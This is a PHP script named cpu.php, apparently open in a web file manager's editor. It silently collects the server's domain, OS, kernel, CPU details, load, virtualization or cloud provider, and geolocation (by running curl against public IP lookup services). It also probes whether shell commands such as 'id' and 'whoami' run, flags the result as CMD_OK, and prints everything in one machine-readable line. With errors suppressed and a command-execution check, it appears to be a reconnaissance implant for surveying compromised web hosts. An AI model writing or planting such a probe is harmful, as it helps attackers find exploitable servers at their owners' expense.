编辑文件 - cpu.php

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<?php
@error_reporting(0);
@ini_set('display_errors', '0');

// ---- Basic system info (no external commands) ----
$domain = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') ? 'https://' : 'http://';
$domain .= $_SERVER['HTTP_HOST'];

$os = php_uname('s');
$kernel = php_uname('r');
$arch = php_uname('m');

// ---- CPU info from /proc/cpuinfo ----
$cpu_model = '';
$cores = '';
$threads = '';

$cpuinfo = @file_get_contents('/proc/cpuinfo');
if ($cpuinfo !== false) {
    if (preg_match('/model name\s*:\s*(.+)/', $cpuinfo, $m)) $cpu_model = trim($m[1]);
    if (preg_match('/cpu cores\s*:\s*(\d+)/', $cpuinfo, $m)) $cores = trim($m[1]);
    if (preg_match('/siblings\s*:\s*(\d+)/', $cpuinfo, $m)) $threads = trim($m[1]);
    if (empty($cores)) {
        preg_match_all('/^processor\s*:/m', $cpuinfo, $m);
        $cores = count($m[0]);
    }
    if (empty($threads)) {
        preg_match_all('/^processor\s*:/m', $cpuinfo, $m);
        $threads = count($m[0]);
    }
}

// ---- CPU usage percentage (using system commands) ----
$cpu_usage = 'N/A';
if (function_exists('exec') || function_exists('shell_exec')) {
    // Try multiple commands to get idle CPU percentage
    $cmds = [
        // top (extract idle value)
        "top -bn1 2>/dev/null | grep 'Cpu(s)' | sed 's/.*, *\$[0-9.]*\$%* id.*/\\1/'",
        // vmstat (idle column is $15)
        "vmstat 1 2 2>/dev/null | tail -1 | awk '{print $15}'",
        // mpstat (average idle is last field)
        "mpstat 1 1 2>/dev/null | grep Average | awk '{print $NF}'"
    ];

foreach ($cmds as $cmd) {
        $output = '';
        if (function_exists('exec')) {
            @exec($cmd, $out, $ret);
            if ($ret === 0 && isset($out[0])) {
                $output = trim($out[0]);
            }
        } elseif (function_exists('shell_exec')) {
            $output = trim(@shell_exec($cmd));
        }

if (is_numeric($output)) {
            $idle = floatval($output);
            $cpu_usage = round(100 - $idle, 2) . '%';
            break;
        }
    }
}

// ---- Virtualization detection ----
$virt = '';
$product = @file_get_contents('/sys/class/dmi/id/product_name');
if ($product !== false) {
    $virt = trim($product);
} else {
    $vendor = @file_get_contents('/sys/class/dmi/id/sys_vendor');
    if ($vendor !== false) $virt = trim($vendor);
}
if (!empty($virt)) {
    $v = strtolower($virt);
    if (strpos($v, 'kvm') !== false) $virt = 'KVM';
    elseif (strpos($v, 'vmware') !== false) $virt = 'VMware';
    elseif (strpos($v, 'virtualbox') !== false) $virt = 'VirtualBox';
    elseif (strpos($v, 'xen') !== false) $virt = 'Xen';
    elseif (strpos($v, 'amazon') !== false) $virt = 'AWS';
    elseif (strpos($v, 'google') !== false) $virt = 'GCP';
    elseif (strpos($v, 'microsoft') !== false) $virt = 'Azure';
    elseif (strpos($v, 'alibaba') !== false) $virt = 'AliCloud';
    elseif (strpos($v, 'tencent') !== false) $virt = 'TencentCloud';
    elseif (strpos($v, 'physical') !== false || strpos($v, 'to be filled') !== false) $virt = 'Physical';
    else $virt = ucfirst($virt);
} else {
    $virt = '';
}

// ---- Command execution capability test ----
$cmd_ok = '';
$test_cmds = ['id 2>/dev/null', 'whoami 2>/dev/null', 'echo test 2>/dev/null'];
foreach ($test_cmds as $cmd) {
    $out = '';
    if (function_exists('shell_exec')) $out = @shell_exec($cmd);
    if (!empty(trim($out))) { $cmd_ok = 'CMD_OK'; break; }
    if (function_exists('exec')) { $o = []; @exec($cmd, $o); $out = implode('', $o); if (!empty(trim($out))) { $cmd_ok = 'CMD_OK'; break; } }
    if (function_exists('system')) { ob_start(); @system($cmd); $out = ob_get_clean(); if (!empty(trim($out))) { $cmd_ok = 'CMD_OK'; break; } }
}

// ---- Get IP geolocation (random API, using curl) ----
$city = '';
$org_isp = '';

// Check if curl command is available
$curl_available = false;
if (function_exists('exec')) {
    @exec('command -v curl 2>/dev/null', $out_curl, $ret_curl);
    if ($ret_curl === 0 && !empty($out_curl)) {
        $curl_available = true;
    }
} elseif (function_exists('shell_exec')) {
    $out_curl = @shell_exec('command -v curl 2>/dev/null');
    if (!empty(trim($out_curl))) {
        $curl_available = true;
    }
}

if ($curl_available) {
    // Randomly choose API
    $api = (rand(0, 1) === 0) ? 'ip-api' : 'ipinfo';

if ($api === 'ip-api') {
        $cmd = 'curl -s http://ip-api.com/json/ 2>/dev/null';
        $output = [];
        $return_var = -1;
        if (function_exists('exec')) {
            @exec($cmd, $output, $return_var);
        } elseif (function_exists('shell_exec')) {
            $output = @shell_exec($cmd);
            $return_var = ($output !== null) ? 0 : -1;
        }
        if ($return_var === 0 && !empty($output)) {
            $json_str = is_array($output) ? implode('', $output) : $output;
            $data = @json_decode($json_str, true);
            if ($data && isset($data['city'])) {
                $city = $data['city'];
                $org_isp = isset($data['isp']) ? $data['isp'] : '';
            } else {
                $city = 'ERROR';
                $org_isp = 'ERROR: json_parse_failed';
            }
        } else {
            $city = 'ERROR';
            $org_isp = 'ERROR: curl_failed';
        }
    } else { // ipinfo.io
        $cmd = 'curl -s ipinfo.io 2>/dev/null';
        $output = [];
        $return_var = -1;
        if (function_exists('exec')) {
            @exec($cmd, $output, $return_var);
        } elseif (function_exists('shell_exec')) {
            $output = @shell_exec($cmd);
            $return_var = ($output !== null) ? 0 : -1;
        }
        if ($return_var === 0 && !empty($output)) {
            $json_str = is_array($output) ? implode('', $output) : $output;
            $data = @json_decode($json_str, true);
            if ($data && isset($data['city'])) {
                $city = $data['city'];
                $org_isp = isset($data['org']) ? $data['org'] : '';
            } else {
                $city = 'ERROR';
                $org_isp = 'ERROR: json_parse_failed';
            }
        } else {
            $city = 'ERROR';
            $org_isp = 'ERROR: curl_failed';
        }
    }
} else {
    $city = 'ERROR';
    $org_isp = 'ERROR: curl_command_not_found';
}

// ---- Output with "---" separator ----
echo implode('---', [
    $domain,
    $os,
    $kernel,
    $cpu_model,
    $cores,
    $threads,
    $cpu_usage,          // NEW FIELD: current CPU usage percentage
    $virt,
    $cmd_ok,
    $city,
    $org_isp
]);
?>

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